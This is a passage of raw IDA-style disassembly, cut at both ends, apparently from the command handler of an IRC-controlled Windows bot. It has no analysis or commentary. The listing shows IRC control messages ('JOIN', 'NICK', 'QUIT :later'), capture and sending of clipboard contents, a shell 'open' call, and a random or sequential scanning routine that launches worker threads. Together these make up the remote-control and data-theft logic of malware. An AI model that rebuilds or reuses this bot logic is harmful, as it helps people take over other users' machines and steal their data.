push [ebp+var_8C] push [ebp+arg_4] push edi call sub_406387 add esp, 10h push edi push offset dword_4307E4 jmp loc_414F40 ; --------------------------------------------------------------------------- loc_41384E: ; CODE XREF: sub_40EE72+1C0Aj ; sub_40EE72+1C21j push 14h lea eax, [ebp+var_708] push ebx push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_6F4] push edi push offset aS_1 ; "%s" push eax call sub_4172B0 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_710], eax lea eax, [ebp+var_D8] push eax lea eax, [ebp+var_5F0] push 80h push eax call sub_41782A mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_568], eax mov eax, [ebp+var_8] mov [ebp+var_564], eax lea eax, [ebp+var_5F0] push eax lea eax, [ebp+var_6F4] push eax lea eax, [ebp+var_2DC] push offset dword_4307B0 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 12h push eax call sub_416D5C add esp, 1Ch mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_710] push ebx push eax push offset sub_40C512 push ebx push ebx nop call near ptr 26A0C0Ah mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_413927 loc_413911: ; CODE XREF: sub_40EE72+4AB3j cmp [ebp+var_560], ebx jnz loc_414E11 push 32h nop call near ptr 2630F90h jmp short loc_413911 ; --------------------------------------------------------------------------- loc_413927: ; CODE XREF: sub_40EE72+4A9Dj nop call near ptr 2670ADCh push eax push offset dword_432C80 jmp loc_414E02 ; --------------------------------------------------------------------------- loc_413938: ; CODE XREF: sub_40EE72+1BDCj ; sub_40EE72+1BF3j push edi nop call near ptr 27E0D27h test eax, eax jz short loc_413962 push edi push offset dword_430784 lea eax, [ebp+var_2DC] push 200h push eax call sub_41782A add esp, 10h jmp loc_4110DC ; --------------------------------------------------------------------------- loc_413962: ; CODE XREF: sub_40EE72+4ACFj push offset dword_43112C call sub_40AA35 pop ecx push eax jmp loc_414564 ; --------------------------------------------------------------------------- loc_413973: ; CODE XREF: sub_40EE72+1BAEj ; sub_40EE72+1BC5j push edi call sub_41781F push eax call sub_415419 pop ecx pop ecx push 1 pop esi cmp eax, esi push edi jnz short loc_413990 push offset unk_43074C jmp short loc_413995 ; --------------------------------------------------------------------------- loc_413990: ; CODE XREF: sub_40EE72+4B15j push offset unk_430708 loc_413995: ; CODE XREF: sub_40EE72+4B1Cj lea eax, [ebp+var_2DC] push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_8], ebx jnz loc_411100 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h jmp loc_411100 ; --------------------------------------------------------------------------- loc_4139CE: ; CODE XREF: sub_40EE72+1B80j ; sub_40EE72+1B97j push ebx push ebx push edi push [ebp+var_4] push ebx push [ebp+arg_4] call sub_41518A add esp, 18h cmp eax, 1 push edi jnz short loc_4139F0 push offset unk_4306D4 jmp loc_4110B1 ; --------------------------------------------------------------------------- loc_4139F0: ; CODE XREF: sub_40EE72+4B72j push offset unk_430694 jmp loc_4110B1 ; --------------------------------------------------------------------------- loc_4139FA: ; CODE XREF: sub_40EE72+1B52j ; sub_40EE72+1B69j push edi call dword_43ADD8 cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_413A34 push 2 lea eax, [ebp+arg_0] push 4 push eax call dword_43AD50 cmp eax, ebx jz short loc_413A4F push dword ptr [eax] loc_413A1D: ; CODE XREF: sub_40EE72+4BDBj push edi lea eax, [ebp+var_2DC] push offset dword_430668 push eax call sub_4172B0 add esp, 10h jmp short loc_413A62 ; --------------------------------------------------------------------------- loc_413A34: ; CODE XREF: sub_40EE72+4B95j push edi call dword_43AE1C cmp eax, ebx jz short loc_413A4F mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] call dword_43AE24 push eax jmp short loc_413A1D ; --------------------------------------------------------------------------- loc_413A4F: ; CODE XREF: sub_40EE72+4BA7j ; sub_40EE72+4BCBj push offset dword_430630 loc_413A54: ; CODE XREF: sub_40EE72+3E2Dj ; sub_40EE72+3FBCj ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 pop ecx pop ecx loc_413A62: ; CODE XREF: sub_40EE72+2A25j ; sub_40EE72+3B35j ... cmp [ebp+var_8], ebx jnz loc_414AC3 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h jmp loc_414AC3 ; --------------------------------------------------------------------------- loc_413A8C: ; CODE XREF: sub_40EE72+1B24j ; sub_40EE72+1B3Bj push 7Fh push edi push [ebp+arg_14] call sub_418C10 add esp, 0Ch push edi push offset dword_4305FC jmp loc_410E48 ; --------------------------------------------------------------------------- loc_413AA5: ; CODE XREF: sub_40EE72+1AF6j ; sub_40EE72+1B0Dj push 5 push ebx push ebx push edi push offset aOpen ; "open" push ebx call dword_43AD0C test eax, eax push edi jz short loc_413AC5 push offset unk_4305C0 jmp loc_4110B1 ; --------------------------------------------------------------------------- loc_413AC5: ; CODE XREF: sub_40EE72+4C47j push offset unk_43057C jmp loc_4110B1 ; --------------------------------------------------------------------------- loc_413ACF: ; CODE XREF: sub_40EE72+1AC8j ; sub_40EE72+1ADFj mov al, [edi] mov byte_42F5C4, al movsx eax, byte ptr [edi] push eax push offset dword_430548 jmp loc_410E48 ; --------------------------------------------------------------------------- loc_413AE4: ; CODE XREF: sub_40EE72+1A9Aj ; sub_40EE72+1AB1j push edi call sub_41781F test eax, eax pop ecx jle loc_414F47 push edi call sub_41781F cmp eax, 400h pop ecx jge loc_414F47 push ebx push ebx lea eax, [ebp+var_B8] push 2 push eax call sub_415D01 add esp, 10h push eax lea eax, [ebp+var_2DC] push offset dword_430E98 push eax call sub_4172B0 add esp, 0Ch jmp loc_412FD0 ; --------------------------------------------------------------------------- loc_413B32: ; CODE XREF: sub_40EE72+1A6Cj ; sub_40EE72+1A83j push edi call sub_41781F test eax, eax pop ecx jle loc_40F239 push edi call sub_41781F cmp eax, 400h pop ecx jge loc_40F239 push offset aQuitLater ; "QUIT :later\r\n" push edi call sub_41781F imul eax, 234h pop ecx push dword_4407FC[eax] call sub_40D633 pop ecx pop ecx push 1F4h nop call near ptr 2630F90h push edi call sub_41781F imul eax, 234h pop ecx push dword_4407FC[eax] call dword_43AE30 push [ebp+var_10] push edi call sub_41781F imul eax, 234h pop ecx push dword_440804[eax] nop call near ptr 27F09C7h push edi call sub_41781F imul eax, 234h push edi mov dword_440804[eax], ebx call sub_41781F imul eax, 234h pop ecx pop ecx mov byte ptr dword_4405F0[eax], bl jmp loc_40F239 ; --------------------------------------------------------------------------- loc_413BDD: ; CODE XREF: sub_40EE72+1A3Ej ; sub_40EE72+1A55j push edi push offset aAll ; "all" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_413C1B call sub_416F25 cmp eax, ebx jle short loc_413C11 push eax push offset dword_4304FC loc_413BFD: ; CODE XREF: sub_40EE72+15E2j ; sub_40EE72+2A8Fj ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 loc_413C09: ; CODE XREF: sub_40EE72+3CA4j add esp, 0Ch jmp loc_41460C ; --------------------------------------------------------------------------- loc_413C11: ; CODE XREF: sub_40EE72+4D83j push offset dword_4304C4 jmp loc_4145FE ; --------------------------------------------------------------------------- loc_413C1B: ; CODE XREF: sub_40EE72+4D7Aj mov eax, [ebp+var_C0] lea edi, [eax+1] cmp edi, 20h jnb loc_40F239 lea eax, [ebp+edi*4+var_94] mov [ebp+arg_24], eax loc_413C37: ; CODE XREF: sub_40EE72+4E36j mov eax, [ebp+arg_24] mov esi, [eax] cmp esi, ebx jz loc_40F239 push esi call sub_41781F push eax call sub_416E97 pop ecx pop ecx test eax, eax push esi jz short loc_413C5E push offset dword_430490 jmp short loc_413C63 ; --------------------------------------------------------------------------- loc_413C5E: ; CODE XREF: sub_40EE72+4DE3j push offset dword_430454 loc_413C63: ; CODE XREF: sub_40EE72+4DEAj lea eax, [ebp+var_2DC] push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_413C93 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h loc_413C93: ; CODE XREF: sub_40EE72+4E03j lea eax, [ebp+var_2DC] push eax call sub_40BF6D add [ebp+arg_24], 4 inc edi cmp edi, 20h pop ecx jb short loc_413C37 jmp loc_40F239 ; --------------------------------------------------------------------------- loc_413CAF: ; CODE XREF: sub_40EE72+1A10j ; sub_40EE72+1A27j cmp [ebp+var_C], ebx jz loc_414F47 push edi push [ebp+var_C] call sub_417880 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_414F47 push esi push offset dword_428598 push [ebp+arg_4] call sub_40D633 add esp, 0Ch push esi push offset dword_43042C jmp loc_414F40 ; --------------------------------------------------------------------------- loc_413CE9: ; CODE XREF: sub_40EE72+19E2j ; sub_40EE72+19F9j push edi push offset dword_430DC8 push [ebp+arg_4] call sub_40D633 add esp, 0Ch push edi push offset dword_4303FC jmp loc_414F40 ; --------------------------------------------------------------------------- loc_413D05: ; CODE XREF: sub_40EE72+19B4j ; sub_40EE72+19CBj push [ebp+esi+var_8C] push edi push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 10h push edi push offset dword_4303CC jmp loc_414F40 ; --------------------------------------------------------------------------- loc_413D28: ; CODE XREF: sub_40EE72+1986j ; sub_40EE72+199Dj push edi push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 0Ch push edi push offset dword_430398 jmp loc_414F40 ; --------------------------------------------------------------------------- loc_413D44: ; CODE XREF: sub_40EE72+194Bj ; sub_40EE72+1960j mov al, byte_42F5F2 mov [ebp+arg_0], ebx cmp al, bl mov edx, offset byte_42F5F2 jz loc_40F239 mov ecx, edx loc_413D5B: ; CODE XREF: sub_40EE72+4EF1j inc [ebp+arg_0] add ecx, 0Bh cmp [ecx], bl jnz short loc_413D5B cmp al, bl jz loc_40F239 mov [ebp+arg_18], edx loc_413D70: ; CODE XREF: sub_40EE72+51BCj push 8 call sub_416FA4 pop ecx mov ecx, eax mov eax, 190h cdq idiv [ebp+arg_0] add eax, ecx cmp eax, 3E8h jle short loc_413DBF push ecx lea eax, [ebp+var_2DC] push offset unk_4316DC push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 20h jmp loc_414025 ; --------------------------------------------------------------------------- loc_413DBF: ; CODE XREF: sub_40EE72+4F18j or [ebp+var_314], 0FFFFFFFFh cmp dword_42ACB0, ebx mov [ebp+var_318], 64h mov [ebp+var_32C], 7 mov [ebp+var_328], 270Fh mov [ebp+arg_0], ebx jz short loc_413E30 mov eax, [ebp+arg_18] mov edi, offset dword_42ACB0 lea esi, [eax-0Ah] loc_413DFA: ; CODE XREF: sub_40EE72+4FA0j lea eax, [edi-28h] push esi push eax call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_413E16 inc [ebp+arg_0] add edi, 3Ch cmp [edi], ebx jnz short loc_413DFA jmp short loc_413E30 ; --------------------------------------------------------------------------- loc_413E16: ; CODE XREF: sub_40EE72+4F96j mov eax, [ebp+arg_0] mov ecx, eax mov [ebp+var_314], eax imul ecx, 3Ch mov ecx, dword_42ACB0[ecx] mov [ebp+var_330], ecx loc_413E30: ; CODE XREF: sub_40EE72+4F7Bj ; sub_40EE72+4FA2j cmp [ebp+var_330], ebx jz loc_414039 push 10h lea eax, [ebp+arg_10] pop esi push eax lea eax, [ebp+var_2EC] push eax mov [ebp+arg_10], esi push [ebp+arg_4] call dword_43AD3C mov al, [ebp+var_9C7] push esi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_2E8], eax push [ebp+var_2E8] call dword_43AE24 push eax lea eax, [ebp+var_444] push eax call sub_418C10 xor eax, eax cmp [ebp+var_9C7], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_444] push eax call sub_418F10 add esp, 14h cmp edi, ebx mov byte ptr [ebp+arg_24+3], bl jle short loc_413ED2 loc_413EB0: ; CODE XREF: sub_40EE72+505Ej cmp eax, ebx jz short loc_413ED2 mov byte ptr [eax], 78h lea eax, [ebp+var_444] push 30h push eax call sub_418F10 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_413EB0 loc_413ED2: ; CODE XREF: sub_40EE72+503Cj ; sub_40EE72+5040j mov eax, [ebp+arg_4] push [ebp+var_8C] mov esi, [ebp+var_4] mov [ebp+var_334], eax mov eax, [ebp+var_8] mov edi, 80h mov [ebp+var_308], eax lea eax, [ebp+var_434] push edi push eax mov [ebp+var_304], 1 mov [ebp+var_30C], esi call sub_41782A push offset byte_436EDC push offset aF ; "#f" call sub_4176D0 add esp, 14h test eax, eax jz short loc_413F3C push offset aF ; "#f" lea eax, [ebp+var_3B4] push edi push eax call sub_41782A add esp, 0Ch jmp short loc_413F42 ; --------------------------------------------------------------------------- loc_413F3C: ; CODE XREF: sub_40EE72+50B1j mov [ebp+var_3B4], bl loc_413F42: ; CODE XREF: sub_40EE72+50C8j cmp [ebp+var_304], ebx mov eax, offset aRandom_0 ; "Random" jnz short loc_413F54 mov eax, offset aSequential ; "Sequential" loc_413F54: ; CODE XREF: sub_40EE72+50DBj push [ebp+var_318] lea ecx, [ebp+var_444] push [ebp+var_328] push [ebp+var_32C] push [ebp+var_330] push ecx push eax lea eax, [ebp+var_2DC] push offset unk_430320 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 8 push eax call sub_416D5C add esp, 2Ch mov [ebp+var_324], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_444] push ebx push eax push offset sub_40797F push ebx push ebx nop call near ptr 26A0C0Ah mov ecx, [ebp+var_324] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_413FDE loc_413FCC: ; CODE XREF: sub_40EE72+516Aj cmp [ebp+var_300], ebx jnz short loc_413FF9 push 32h call near ptr 2630F90h nop jmp short loc_413FCC ; --------------------------------------------------------------------------- loc_413FDE: ; CODE XREF: sub_40EE72+5158j nop call near ptr 2670ADCh push eax lea eax, [ebp+var_2DC] push offset unk_4315CC push eax call sub_4172B0 add esp, 0Ch loc_413FF9: ; CODE XREF: sub_40EE72+5160j cmp [ebp+var_8], ebx jnz short loc_414018 push ebx lea eax, [ebp+var_2DC] push esi push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h loc_414018: ; CODE XREF: sub_40EE72+518Aj lea eax, [ebp+var_2DC] push eax call sub_40BF6D pop ecx loc_414025: ; CODE XREF: sub_40EE72+4F48j add [ebp+arg_18], 0Bh mov eax, [ebp+arg_18] cmp [eax], bl jnz loc_413D70 jmp loc_40F239 ; --------------------------------------------------------------------------- loc_414039: ; CODE XREF: sub_40EE72+3108j ; sub_40EE72+4FC4j push offset unk_4302DC jmp loc_4145FE ; --------------------------------------------------------------------------- loc_414043: ; CODE XREF: sub_40EE72+1921j ; sub_40EE72+1936j push [ebp+var_8C] lea eax, [ebp+var_A4] push 80h push eax call sub_41782A mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_A8], eax mov eax, [ebp+var_4] mov [ebp+var_20], eax mov eax, [ebp+var_8] mov [ebp+var_1C], eax push offset unk_4302A4 lea eax, [ebp+var_2DC] push 200h push eax call sub_41782A push ebx lea eax, [ebp+var_2DC] push 1Eh push eax call sub_416D5C add esp, 18h mov [ebp+var_24], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A8] push ebx push eax push offset sub_409037 push ebx push ebx nop call near ptr 26A0C0Ah mov ecx, [ebp+var_24] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_4140DC loc_4140C9: ; CODE XREF: sub_40EE72+5268j cmp [ebp+var_18], ebx jnz loc_414E11 push 32h call near ptr 2630F90h nop jmp short loc_4140C9 ; --------------------------------------------------------------------------- loc_4140DC: ; CODE XREF: sub_40EE72+5255j nop call near ptr 2670ADCh push eax push offset unk_430258 jmp loc_414E02 ; --------------------------------------------------------------------------- loc_4140ED: ; CODE XREF: sub_40EE72+18F7j ; sub_40EE72+190Cj push 4 call sub_416FA4 test eax, eax pop ecx jle short loc_414103 push offset unk_43022C jmp loc_410D38 ; --------------------------------------------------------------------------- loc_414103: ; CODE XREF: sub_40EE72+5285j mov eax, [ebp+esi+var_90] cmp eax, ebx jz short loc_414126 push eax mov edi, 104h lea eax, [ebp+var_7FC] push edi push eax call sub_41782A add esp, 0Ch jmp short loc_41413A ; --------------------------------------------------------------------------- loc_414126: ; CODE XREF: sub_40EE72+529Aj mov edi, 104h lea eax, [ebp+var_7FC] push edi push eax push ebx nop call near ptr 2680000h loc_41413A: ; CODE XREF: sub_40EE72+52B2j mov esi, [ebp+esi+var_8C] cmp esi, ebx jnz short loc_41414A mov esi, offset byte_42F678 loc_41414A: ; CODE XREF: sub_40EE72+52D1j push esi lea eax, [ebp+var_6F8] push edi push eax call sub_41782A mov eax, dword_42F5AC push 7Fh push [ebp+var_8C] mov [ebp+var_5EC], eax mov eax, [ebp+arg_4] mov [ebp+var_5F0], ebx mov [ebp+var_800], eax lea eax, [ebp+var_5E8] push eax call sub_418C10 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_568], eax mov eax, [ebp+var_8] mov [ebp+var_564], eax lea eax, [ebp+var_6F8] push eax lea eax, [ebp+var_7FC] push eax lea eax, [ebp+var_2DC] push [ebp+var_5EC] push offset unk_42B328 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 4 push eax call sub_416D5C add esp, 20h mov [ebp+var_5F4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_800] push ebx push eax push offset sub_406C19 push ebx push ebx nop call near ptr 26A0C0Ah mov ecx, [ebp+var_5F4] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_41421D loc_414207: ; CODE XREF: sub_40EE72+53A9j cmp [ebp+var_560], ebx jnz loc_410E57 push 32h nop call near ptr 2630F90h jmp short loc_414207 ; --------------------------------------------------------------------------- loc_41421D: ; CODE XREF: sub_40EE72+5393j call near ptr 2670ADCh nop push eax push offset unk_4301E4 jmp loc_410E48 ; --------------------------------------------------------------------------- loc_41422E: ; CODE XREF: sub_40EE72+18CDj ; sub_40EE72+18E2j mov edi, [ebp+esi+var_90] cmp edi, ebx jz short loc_41424D push edi call sub_41781F test eax, eax pop ecx jz short loc_41424D push edi call sub_41781F pop ecx jmp short loc_414252 ; --------------------------------------------------------------------------- loc_41424D: ; CODE XREF: sub_40EE72+53C5j ; sub_40EE72+53D0j mov eax, dword_42F5B0 loc_414252: ; CODE XREF: sub_40EE72+53D9j mov esi, [ebp+esi+var_8C] mov [ebp+var_57C], eax xor eax, eax cmp [ebp+var_9C4], bl setz al cmp esi, ebx mov [ebp+var_568], eax jz short loc_414285 lea eax, [ebp+var_680] push esi push eax call sub_4172B0 pop ecx pop ecx jmp short loc_4142B0 ; --------------------------------------------------------------------------- loc_414285: ; CODE XREF: sub_40EE72+5400j lea eax, [ebp+var_3FC] push 104h push eax nop call near ptr 2640000h push ebx push ebx lea eax, [ebp+var_2E8] push ebx push eax lea eax, [ebp+var_3FC] push eax call sub_4192B8 add esp, 14h loc_4142B0: ; CODE XREF: sub_40EE72+5411j lea eax, [ebp+var_680] push eax call sub_417AB0 cmp [ebp+eax+var_681], 5Ch pop ecx jnz short loc_4142DB lea eax, [ebp+var_680] push eax call sub_417AB0 pop ecx mov [ebp+eax+var_681], bl loc_4142DB: ; CODE XREF: sub_40EE72+5453j push [ebp+var_8C] mov esi, [ebp+arg_4] lea eax, [ebp+var_908] mov [ebp+var_90C], esi push 80h push eax call sub_41782A mov eax, [ebp+var_8] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_56C], eax lea eax, [ebp+var_680] mov [ebp+var_570], edi push eax push [ebp+var_57C] push esi call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_2DC] push offset unk_42B20C push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 3 push eax call sub_416D5C add esp, 20h mov [ebp+var_574], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_90C] push ebx push eax push offset sub_405AF2 push ebx push ebx call near ptr 26A0C0Ah nop mov ecx, [ebp+var_574] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_414393 loc_41437D: ; CODE XREF: sub_40EE72+551Fj cmp [ebp+var_560], ebx jnz loc_4144E5 push 32h call near ptr 2630F90h nop jmp short loc_41437D ; --------------------------------------------------------------------------- loc_414393: ; CODE XREF: sub_40EE72+5509j call near ptr 2670ADCh nop push eax push offset unk_43019C jmp loc_4144D6 ; --------------------------------------------------------------------------- loc_4143A4: ; CODE XREF: sub_40EE72+18A3j ; sub_40EE72+18B8j mov edi, [ebp+esi+var_90] cmp edi, ebx jz short loc_4143C3 push edi call sub_41781F test eax, eax pop ecx jz short loc_4143C3 push edi call sub_41781F pop ecx jmp short loc_4143C8 ; --------------------------------------------------------------------------- loc_4143C3: ; CODE XREF: sub_40EE72+553Bj ; sub_40EE72+5546j mov eax, dword_42F5B4 loc_4143C8: ; CODE XREF: sub_40EE72+554Fj mov [ebp+var_578], eax mov eax, [ebp+esi+var_8C] cmp eax, ebx jnz short loc_4143DF lea eax, [ebp+var_D8] loc_4143DF: ; CODE XREF: sub_40EE72+5565j push eax lea eax, [ebp+var_6B8] push 40h push eax call sub_41782A mov esi, [ebp+esi+var_88] add esp, 0Ch cmp esi, ebx jnz short loc_414401 mov esi, offset byte_436EDC loc_414401: ; CODE XREF: sub_40EE72+5588j push esi lea eax, [ebp+var_678] push 100h push eax call sub_41782A add esp, 0Ch lea eax, [ebp+var_738] push [ebp+var_8C] push 80h push eax call sub_41782A mov eax, [ebp+var_8] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_564], eax lea eax, [ebp+var_6B8] push eax mov [ebp+var_73C], esi push [ebp+var_578] mov [ebp+var_568], edi push esi call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_2DC] push offset dword_430150 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 6 push eax call sub_416D5C add esp, 20h mov [ebp+var_574], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_73C] push ebx push eax push offset word_41570E push ebx push ebx nop call near ptr 26A0C0Ah mov ecx, [ebp+var_574] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_4144CA loc_4144B8: ; CODE XREF: sub_40EE72+5656j cmp [ebp+var_560], ebx jnz short loc_4144E5 push 32h nop call near ptr 2630F90h jmp short loc_4144B8 ; --------------------------------------------------------------------------- loc_4144CA: ; CODE XREF: sub_40EE72+5644j nop call near ptr 2670ADCh push eax push offset dword_430104 loc_4144D6: ; CODE XREF: sub_40EE72+3625j ; sub_40EE72+3722j ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 add esp, 0Ch loc_4144E5: ; CODE XREF: sub_40EE72+3609j ; sub_40EE72+3706j ... cmp [ebp+var_8], ebx jnz loc_414E11 push ebx push edi jmp loc_411D2F ; --------------------------------------------------------------------------- loc_4144F5: ; CODE XREF: sub_40EE72+1879j ; sub_40EE72+188Ej mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_414508 push esi call sub_41781F jmp short loc_41450F ; --------------------------------------------------------------------------- loc_414508: ; CODE XREF: sub_40EE72+568Cj push 8 call sub_416FC3 loc_41450F: ; CODE XREF: sub_40EE72+5694j cmp eax, ebx pop ecx jz loc_414F47 push eax push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_4071DB loc_41452A: ; CODE XREF: sub_40EE72+5B67j add esp, 10h jmp loc_414F47 ; --------------------------------------------------------------------------- loc_414532: ; CODE XREF: sub_40EE72+184Fj ; sub_40EE72+1864j mov eax, dword_43ACC0 cmp eax, ebx jz short loc_41454F call eax test eax, eax jz short loc_414548 push offset unk_4300D0 jmp short loc_414564 ; --------------------------------------------------------------------------- loc_414548: ; CODE XREF: sub_40EE72+56CDj push offset unk_430094 jmp short loc_414564 ; --------------------------------------------------------------------------- loc_41454F: ; CODE XREF: sub_40EE72+56C7j push offset dword_430058 jmp short loc_414564 ; --------------------------------------------------------------------------- loc_414556: ; CODE XREF: sub_40EE72+1825j ; sub_40EE72+183Aj call sub_40AE02 test eax, eax jz short loc_41457A push offset dword_430024 loc_414564: ; CODE XREF: sub_40EE72+4AFCj ; sub_40EE72+56D4j ... lea eax, [ebp+var_2DC] push 200h push eax call sub_41782A jmp loc_4110BD ; --------------------------------------------------------------------------- loc_41457A: ; CODE XREF: sub_40EE72+56EBj push offset unk_42FFE8 jmp short loc_414564 ; --------------------------------------------------------------------------- loc_414581: ; CODE XREF: sub_40EE72+17FBj ; sub_40EE72+1810j cmp [ebp+var_8], ebx jnz short loc_4145A0 push ebx push [ebp+var_4] push offset aClipboardData ; "-[Clipboard Data]-" push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h loc_4145A0: ; CODE XREF: sub_40EE72+5712j push ebx push [ebp+var_4] call sub_40AABF push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 push offset dword_42FFA8 loc_4145BD: ; CODE XREF: sub_40EE72+5A09j ; sub_40EE72+5A3Bj call sub_40BF6D add esp, 18h jmp loc_414F47 ; --------------------------------------------------------------------------- loc_4145CA: ; CODE XREF: sub_40EE72+171Cj ; sub_40EE72+1731j push 7 call sub_416FA4 test eax, eax pop ecx jle short loc_4145DD push offset dword_42FF70 jmp short loc_4145FE ; --------------------------------------------------------------------------- loc_4145DD: ; CODE XREF: sub_40EE72+5762j push [ebp+var_8C] push [ebp+arg_4] call sub_40B56C pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_4145F9 push offset dword_42FF38 jmp short loc_4145FE ; --------------------------------------------------------------------------- loc_4145F9: ; CODE XREF: sub_40EE72+577Ej push offset dword_42FF08 loc_4145FE: ; CODE XREF: sub_40EE72+2C51j ; sub_40EE72+2D87j ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 pop ecx pop ecx loc_41460C: ; CODE XREF: sub_40EE72+15C6j ; sub_40EE72+2D61j ... cmp [ebp+var_8], ebx jnz loc_414E11 push ebx push [ebp+var_4] loc_414619: ; CODE XREF: sub_40EE72+3961j lea eax, [ebp+var_2DC] push eax push [ebp+var_8C] push [ebp+arg_4] loc_414629: ; CODE XREF: sub_40EE72+2ECBj call sub_40D679 add esp, 14h jmp loc_414E11 ; --------------------------------------------------------------------------- loc_414636: ; CODE XREF: sub_40EE72+16F2j ; sub_40EE72+1707j push [ebp+var_8] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40A4AC jmp loc_40F236 ; --------------------------------------------------------------------------- loc_41464F: ; CODE XREF: sub_40EE72+16C8j ; sub_40EE72+16DDj push [ebp+esi+var_90] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40D320 jmp loc_40F236 ; --------------------------------------------------------------------------- loc_41466C: ; CODE XREF: sub_40EE72+169Ej ; sub_40EE72+16B3j or edi, 0FFFFFFFFh nop call near ptr 26308B3h xor edx, edx mov ecx, 3E8h div ecx mov esi, [ebp+esi+var_90] cmp esi, ebx mov [ebp+arg_0], eax jz short loc_414695 push esi call sub_41781F pop ecx mov edi, eax loc_414695: ; CODE XREF: sub_40EE72+5818j mov eax, [ebp+arg_0] xor edx, edx mov ecx, 15180h div ecx cmp eax, edi jnb short loc_4146AE cmp edi, 0FFFFFFFFh jnz loc_414F47 loc_4146AE: ; CODE XREF: sub_40EE72+5831j push ebx call sub_40B721 pop ecx push eax lea eax, [ebp+var_2DC] push offset dword_42FEE0 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 lea eax, [ebp+var_2DC] push eax call sub_40BF6D jmp loc_411A5D ; --------------------------------------------------------------------------- loc_4146F1: ; CODE XREF: sub_40EE72+1674j ; sub_40EE72+1689j push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_408C26 add esp, 0Ch push offset unk_42FEB0 jmp loc_410D38 ; --------------------------------------------------------------------------- loc_41470F: ; CODE XREF: sub_40EE72+164Aj ; sub_40EE72+165Fj push 1Fh call sub_416FA4 test eax, eax pop ecx jle short loc_414738 cmp [ebp+var_8], ebx jnz loc_40F239 push ebx push [ebp+var_4] push offset unk_42FE7C push [ebp+var_8C] jmp loc_40F7A0 ; --------------------------------------------------------------------------- loc_414738: ; CODE XREF: sub_40EE72+58A7j push [ebp+var_8C] lea eax, [ebp+var_4F0] push 80h push eax call sub_41782A mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_90] mov [ebp+var_4F4], eax mov eax, [ebp+var_4] mov [ebp+var_468], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_464], eax mov [ebp+var_46C], ebx jz short loc_414799 push esi push offset aFull ; "full" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_414799 mov [ebp+var_46C], 1 loc_414799: ; CODE XREF: sub_40EE72+590Aj ; sub_40EE72+591Bj lea eax, [ebp+var_2DC] push offset dword_42FE44 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 1Fh push eax call sub_416D5C add esp, 14h mov [ebp+var_470], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4F4] push ebx push eax 